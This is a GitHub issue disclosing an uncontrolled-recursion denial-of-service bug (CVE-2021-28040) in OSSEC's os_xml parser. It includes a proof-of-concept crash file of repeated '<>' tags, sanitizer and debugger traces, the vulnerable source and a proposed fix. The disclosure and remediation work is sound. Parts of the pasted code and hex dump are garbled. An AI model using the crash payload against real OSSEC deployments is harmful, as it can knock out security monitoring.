

[New issue](#)[Jump to bottom](#)

## os\_xml\_ReadElem() - Uncontrolled recursion vulnerability leading to DoS (SIGSEGV) #1953

[Open](#) lockedbyte opened this issue on Feb 23, 2021 · 3 comments

lockedbyte commented on Feb 23, 2021

### os\_xml\_ReadElem() - Uncontrolled recursion vulnerability

#### INTRODUCTION

An Uncontrolled Recursion vulnerability has been identified in the `os_xml` XML parsing library used by OSSEC.

Through the `os_xml/examples/test.c` code, a flaw has been identified in `os_xml.c` that allows non-defined recursion cycles, thus finally trying to access non-mapped memory once the stack end has been reached.

The payload consists on a number of `<>` which will trigger the recursion and finally ending it with `<\n`.

#### REPRODUCE

To reproduce this vulnerability, compile the `examples/test.c` and open the payload file with it.

```
lockedbyte@pwn:~/research/OSSEC/os_xml$ ./test ./crash.xml
Segmentation fault (core dumped)
lockedbyte@pwn:~/research/OSSEC/os_xml$ xxd ./crash.xml
00000000: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000010: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000020: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000030: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000040: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000050: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000060: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000070: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000080: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000090: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000000a0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000000b0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000000c0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000000d0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000000e0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000000f0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000100: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000110: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000120: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000130: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000140: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000150: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000160: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000170: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000180: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000190: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000001a0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000001b0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000001c0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000001d0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000001e0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000001f0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000200: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000210: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000220: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000230: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000240: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000250: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000260: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000270: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000280: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
00000290: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <<<<<<<<<<<<
000002a0: 3c3e 3c3e 3c0a                                <<<<.
lockedbyte@pwn:~/research/OSSEC/os_xml$
```

If we compile `examples/test.c` with ASAN (AddressSanitizer), this is the output we are given:

```
root@ubuntu:/software/os_xml# ./test_asan ./crash.xml
AddressSanitizer:DEADLYSIGNAL
=====
==171980==ERROR: AddressSanitizer: stack-overflow on address 0x7ffff7fe0e8 (pc 0x55555557f61 bp 0x0ffffea6e7b sp 0x7ffff7fe0e8 T0)
#0 0x55555557f60 in _getattributes /software/os_xml/os_xml.c:417
#1 0x5555555a97f in _ReadElem /software/os_xml/os_xml.c:242
#2 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#3 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#4 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#5 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#6 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#7 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#8 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#9 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#10 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#11 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#12 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#13 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#14 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#15 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
```

[illegible]

[illegible]

```
#242 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#243 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#244 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#245 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#246 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#247 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#248 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298

SUMMARY: AddressSanitizer: stack-overflow /software/os_xml/os_xml.c:417 in _getattributes
==171980==ABORTING
root@ubuntu:/software/os_xml#
```

As we can see an unlimited number of recursion calls can be performed, ending on a SIGSEGV (Segmentation fault).

**Attention!** If a SIGSEGV is not triggered, try adding more `<>` in the payload. The segmentation fault error is because we reach the end of the stack, so it depends on the offset until the end of it, which may differ in your situation.

## ANALYSIS

There exists a non limited recursion in the `_ReadElem()` function:

```
static int _ReadElem(FILE *fp, unsigned int parent, OS_XML *_lxml)
{
    int c;
    unsigned int count = 0;
    unsigned int _currentlycont = 0;
    short int location = -1;

    int prevv = 0;
    char elem[XML_MAXSIZE + 1];
    char cont[XML_MAXSIZE + 1];
    char closedelim[XML_MAXSIZE + 1];

    memset(elem, '\\0', XML_MAXSIZE + 1);
    memset(cont, '\\0', XML_MAXSIZE + 1);
    memset(closedelim, '\\0', XML_MAXSIZE + 1);

    while ((c = _xml_fgetc(fp)) != EOF) {
        if (c == '\\\\') {
            prevv = c;
        } else if (prevv == '\\\\') {
            if (c != _R_CONFS) {
                prevv = 0;
            }
        }

        /* Max size */
        if (count >= XML_MAXSIZE) {
            xml_error(_lxml, "XMLERR: String overflow.");
            return (-1);
        }

        /* Check for comments */
        if (c == _R_CONFS) {
            int r = 0;
            if ((r = _oscomment(fp)) < 0) {
                xml_error(_lxml, "XMLERR: Comment not closed.");
                return (-1);
            } else if (r == 1) {
                continue;
            }
        }

        /* Real checking */
        if ((location == -1) && (prevv == 0)) {
            if (c == _R_CONFS) {
                if ((c = fgetc(fp)) == '/') {
                    xml_error(_lxml, "XMLERR: Element not opened.");
                    return (-1);
                } else {
                    ungetc(c, fp);
                }
                location = 0;
            } else {
                continue;
            }
        }

        else if ((location == 0) && ((c == _R_CONF) || isspace(c))) {
            int _ge = 0;
            int _ga = 0;
            elem[count] = '\\0';

            /* Remove the / at the end of the element name */
            if (count > 0 && elem[count - 1] == '/') {
                _ge = '/';
                elem[count - 1] = '\\0';
            }

            if (_writememory(elem, XML_ELEM, count + 1, parent, _lxml) < 0) {
                return (-1);
            }

            _currentlycont = _lxml->cur - 1;
            if (isspace(c)) {
                if ((_ga = _getattributes(fp, parent, _lxml)) < 0) {
                    return (-1);
                }
            }

            /* If the element is closed already (finished in >) */
            if ((_ge == '/') || (_ga == '/')) {
                if (_writecontent("\\0", 2, _currentlycont, _lxml) < 0) {
                    return (-1);
                }
                _lxml->ck[_currentlycont] = 1;
                _currentlycont = 0;
                count = 0;
                location = -1;
            }
        }
    }
}
```

```

        memset(elem, '\0', XML_MAXSIZE);
        memset(closedelim, '\0', XML_MAXSIZE);
        memset(cont, '\0', XML_MAXSIZE);

        if (parent > 0) {
            return (0);
        }
    } else {
        count = 0;
        location = 1;
    }
}

else if ((location == 2) && (c == _R_CONFEE)) {
    closedelim[count] = '\0';
    if (strcmp(closedelim, elem) != 0) {
        xml_error(_lxml, "XMLERR: Element '%s' not closed.", elem);
        return (-1);
    }
    if (_writecontent(cont, strlen(cont) + 1, _currentlycont, _lxml) < 0) {
        return (-1);
    }
    _lxml->ck[_currentlycont] = 1;
    memset(elem, '\0', XML_MAXSIZE);
    memset(closedelim, '\0', XML_MAXSIZE);
    memset(cont, '\0', XML_MAXSIZE);
    _currentlycont = 0;
    count = 0;
    location = -1;
    if (parent > 0) {
        return (0);
    }
} else if ((location == 1) && (c == _R_CONFS) && (prevv == 0)) {
    if ((c = fgetc(fp)) == '/') {
        cont[count] = '\0';
        count = 0;
        location = 2;
    } else {
        ungetc(c, fp);
        ungetc(_R_CONFS, fp);

        if (_ReadElem(fp, parent + 1, _lxml) < 0) {
            return (-1);
        }
        count = 0;
    }
} else {
    if (location == 0) {
        elem[count++] = (char) c;
    } else if (location == 1) {
        cont[count++] = (char) c;
    } else if (location == 2) {
        closedelim[count++] = (char) c;
    }

    if ((_R_CONFS == c) && (prevv != 0)) {
        prevv = 0;
    }
}
}

if (location == -1) {
    return (LEOF);
}

xml_error(_lxml, "XMLERR: End of file and some elements were not closed.");
return (-1);
}

```

If we debug it after specifying the crash file as argument:

Program received signal SIGSEGV, Segmentation fault.  
0x000055555557c93 in \_getattributes ()

[ Legend: Modified register | Code | Heap | Stack | String ]

```

registers -----
$rax : 0x00005555555d2a0 -> 0x00000000fbad2488
$rbx : 0x0000555555559920 -> <__libc_csu_init+0> endbr64
$rcx : 0x152
$rdx : 0x00007fffffffd70 -> 0x0000000000000153
$rsp : 0x7ffff7fe280
$rbp : 0x00007fffff801280 -> 0x00007fffff807300 -> 0x00007fffff80d380 -> 0x00007fffff813400 -> 0x00007fffff819480 -> 0x00007fffff81f500 -> 0x00007fffff825580 -> 0x00007fffff82b600
$rsi : 0x152
$rdi : 0x00005555555d2a0 -> 0x00000000fbad2488
$rip : 0x000055555557c93 -> <_getattributes+23> or QWORD PTR [rsp], 0x0
$r8 : 0x00005555555599770 -> 0x0000000010000001
$r9 : 0x00005555555599780 -> 0x0000000010000001
$r10 : 0x000055555555d010 -> 0x0000000000000006
$r11 : 0x7ffff7fd280
$r12 : 0x000055555555320 -> <_start+0> endbr64
$r13 : 0x00007fffffde30 -> 0x0000000000000002
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000

```

stack -----  
[!] Unmapped address

```

code:x86:64 -----
0x55555557c81 <_getattributes+5> mov     rbp, rsp
0x55555557c84 <_getattributes+8> lea     r11, [rsp-0x4000]
0x55555557c8c <_getattributes+16> sub     rsp, 0x1000
-> 0x55555557c93 <_getattributes+23> or     QWORD PTR [rsp], 0x0
0x55555557c98 <_getattributes+28> cmp     rsp, r11
0x55555557c9b <_getattributes+31> jne     0x55555557c8c <_getattributes+16>
0x55555557c9d <_getattributes+33> sub     rsp, 0x60
0x55555557ca1 <_getattributes+37> mov     QWORD PTR [rbp-0x4048], rdi
0x55555557ca8 <_getattributes+44> mov     DWORD PTR [rbp-0x404c], esi

```

threads —  
[ #0 ] Id 1, Name: "test", stopped 0x55555557c93 in \_getattributes (), reason: SIGSEGV

trace —  
[ #0 ] 0x55555557c93 → \_getattributes()  
[ #1 ] 0x55555557428 → \_ReadElem()  
[ #2 ] 0x5555555773d → \_ReadElem()  
[ #3 ] 0x5555555773d → \_ReadElem()  
[ #4 ] 0x5555555773d → \_ReadElem()  
[ #5 ] 0x5555555773d → \_ReadElem()  
[ #6 ] 0x5555555773d → \_ReadElem()  
[ #7 ] 0x5555555773d → \_ReadElem()  
[ #8 ] 0x5555555773d → \_ReadElem()  
[ #9 ] 0x5555555773d → \_ReadElem()

gef▶

## IMPACT

The most common issue with this type of vulnerability is a Denial of Service (DoS) once a crash has been triggered as demonstrated above with the crash PoC.

## SOLUTION

The best solution to this vulnerability is implementing a code that controls the number of allowed recursions, or redesigning the methodology to loop over the XML tags using a `while` or `for` loop instead of recursing if the number of needed iterations is huge, resulting in a Stack exhaustion.

The DoS is performed due to the creation of a new frame in the stack for each new function being called. Creation of a big amount of frames results after a lot of iterations in consuming up the available stack memory, and once reached non-mapped memory a segmentation fault interruption will happen.

An important factor that decreases a lot the needed iterations to finally trigger the bug is the existence of three big stack buffers in the recursive function. Another useful change would be using dynamic memory with `malloc()` or `calloc()` when big amount of space is needed, also it can be reused instead of creating a chunk or stack buffer for each function call.

1

abergmann commented on Mar 8, 2021

CVE-2021-28040 was assigned to this issue.

vikman90 mentioned this issue on Mar 9, 2021

Limit recursion level on `_ReadElem()` wazuh/wazuh#7776

Closed

Molter73 commented on Mar 9, 2021

We've solved this issue in our fork by limiting the number of times `_ReadElem` can be called recursively and moving the buffers out of the stack as @lockedbyte suggested. You can check the PR out [here](#) and I would be more than willing to create a PR here if it's needed.

2

Areku95 commented on May 12

Hello all,

Thank you all for your work!

Does anyone knows if a fix is planned ?

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants

